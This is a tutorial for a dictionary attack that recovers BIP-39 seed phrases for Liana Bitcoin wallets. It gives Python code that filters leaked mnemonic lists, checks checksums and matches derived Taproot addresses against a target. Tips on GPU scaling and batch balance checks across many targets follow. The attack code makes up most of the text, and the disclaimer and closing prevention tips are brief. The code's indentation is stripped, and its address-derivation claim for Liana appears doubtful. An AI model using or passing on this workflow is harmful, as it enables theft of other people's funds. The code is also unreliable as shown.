Disclaimer: This tutorial is intended for authorized cybersecurity testing and educational purposes only. Unauthorized access to others' cryptocurrency wallets is illegal and unethical, and users shall bear all responsibilities for any consequences arising from improper use.
1. Introduction to Liana Mnemonic Dictionary Attacks
Liana is a widely used lightweight Bitcoin wallet that adopts the BIP-39 standard for mnemonic phrase generation, with 12-word phrases as the default backup option. A dictionary attack against Liana mnemonics is a targeted guessing method that leverages a pre-curated set of high-probability mnemonic word combinations to crack a target wallet. Unlike full brute-force attacks that traverse all possible word combinations, dictionary attacks focus on non-random, commonly used, or leaked mnemonic phrases, making them far more efficient for real-world security testing scenarios.
2. Pre-requisites for Practical Testing
Before conducting the test, ensure all necessary materials and authorizations are in place:
- Legal Authorization: Written consent from the wallet owner for security testing, strictly complying with local cybersecurity and data privacy laws.
- Technical Environment: Python 3.8 or higher, with required libraries installed via
pip install bip_utils requests. - Dictionary Resources:
- Official BIP-39 English wordlist (2048 standard words, for invalid word filtering)
- High-probability mnemonic dictionary (sourced from public leaked mnemonic datasets, filtered password leak databases, and common user-generated mnemonic combinations)
- Target Information: The first mainnet Taproot receiving address of the target Liana wallet (used for candidate validation).
3. Step-by-Step Practical Attack Workflow
3.1 Dictionary Preprocessing
First, filter the raw dictionary to retain only valid 12-word combinations composed of BIP-39 standard words, eliminating invalid entries that do not meet the basic format requirements.
# Load BIP-39 standard wordlist
with open("bip39-english.txt", "r") as f:
bip39_words = set(word.strip().lower() for word in f.readlines())

# Filter raw 12-word mnemonic candidates
valid_candidates = []
with open("raw_mnemonic_dictionary.txt", "r") as f:
for line in f.readlines():
words = line.strip().lower().split()
if len(words) == 12 and all(word in bip39_words for word in words):
valid_candidates.append(" ".join(words))
print(f"Valid format candidates after filtering: {len(valid_candidates)}")
3.2 Checksum Validation Filtering
BIP-39 mnemonic phrases include a built-in checksum (4 bits for 12-word phrases), which can filter out more than 93% of invalid candidates before address derivation, greatly improving testing efficiency.
from bip_utils import Bip39MnemonicValidator
# Filter candidates with valid BIP-39 checksum
checksum_valid_candidates = []
validator = Bip39MnemonicValidator()
for candidate in valid_candidates:
if validator.IsValid(candidate):

checksum_valid_candidates.append(candidate)
print(f"Checksum-valid candidates: {len(checksum_valid_candidates)}")
3.3 Liana Address Derivation and Matching
For candidates that pass checksum validation, derive the default first Taproot receiving address of the Liana wallet (using BIP-86 derivation path m/86'/0'/0'/0/0 for Bitcoin mainnet) and compare it with the target address to confirm a successful match.
from bip_utils import Bip86, Bip86Coins, Bip39SeedGenerator
# Replace with the authorized test target Liana wallet address
TARGET_ADDRESS = "bc1pXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
found_mnemonic = None
for mnemonic in checksum_valid_candidates:
# Generate seed from mnemonic phrase
seed = Bip39SeedGenerator(mnemonic).Generate()
# Derive BIP-86 Taproot address (Bitcoin mainnet, first receiving address)
bip86 = Bip86.FromSeed(seed, Bip86Coins.BITCOIN_MAINNET)
first_address = bip86.Purpose().Coin().Account(0).Change(0).AddressIndex(0).PublicKey().ToAddress()
# Match with target address

if first_address == TARGET_ADDRESS:
found_mnemonic = mnemonic
break
if found_mnemonic:
print(f"[+] Successfully recovered Liana wallet mnemonic: {found_mnemonic}")
else:
print("[-] No matching mnemonic found in the current dictionary.")
4. Practical Efficiency Optimization Tips
To improve testing efficiency for large-scale dictionaries, you can adopt the following optimization strategies:
- Probability-based Sorting: Sort dictionary entries by hit probability (leaked real mnemonics > common word combinations > random generated combinations) to prioritize high-probability candidates.
- Parallel Computing: Use Python's
multiprocessingmodule to implement multi-process traversal, or use GPU-accelerated tools for dictionaries with more than 1 million candidates. - Batch On-chain Query: For multi-target testing scenarios, batch query address balances through blockchain explorer APIs to reduce single-request overhead.
5. Liana Mnemonic Security Prevention Recommendations
To resist dictionary attacks and protect wallet security, Liana wallet users should follow these best practices:
- Always generate mnemonic phrases through the official Liana wallet's random number generator, and never manually create mnemonics using personal information, common phrases, or sequential words.
- Store mnemonic phrases offline (e.g., written on acid-free paper, stored in a metal backup device), and avoid taking screenshots, storing in cloud drives, or sending through instant messaging tools.
- Regularly check for mnemonic leakage risks through public security databases, and transfer funds to a new wallet immediately if leakage is suspected.
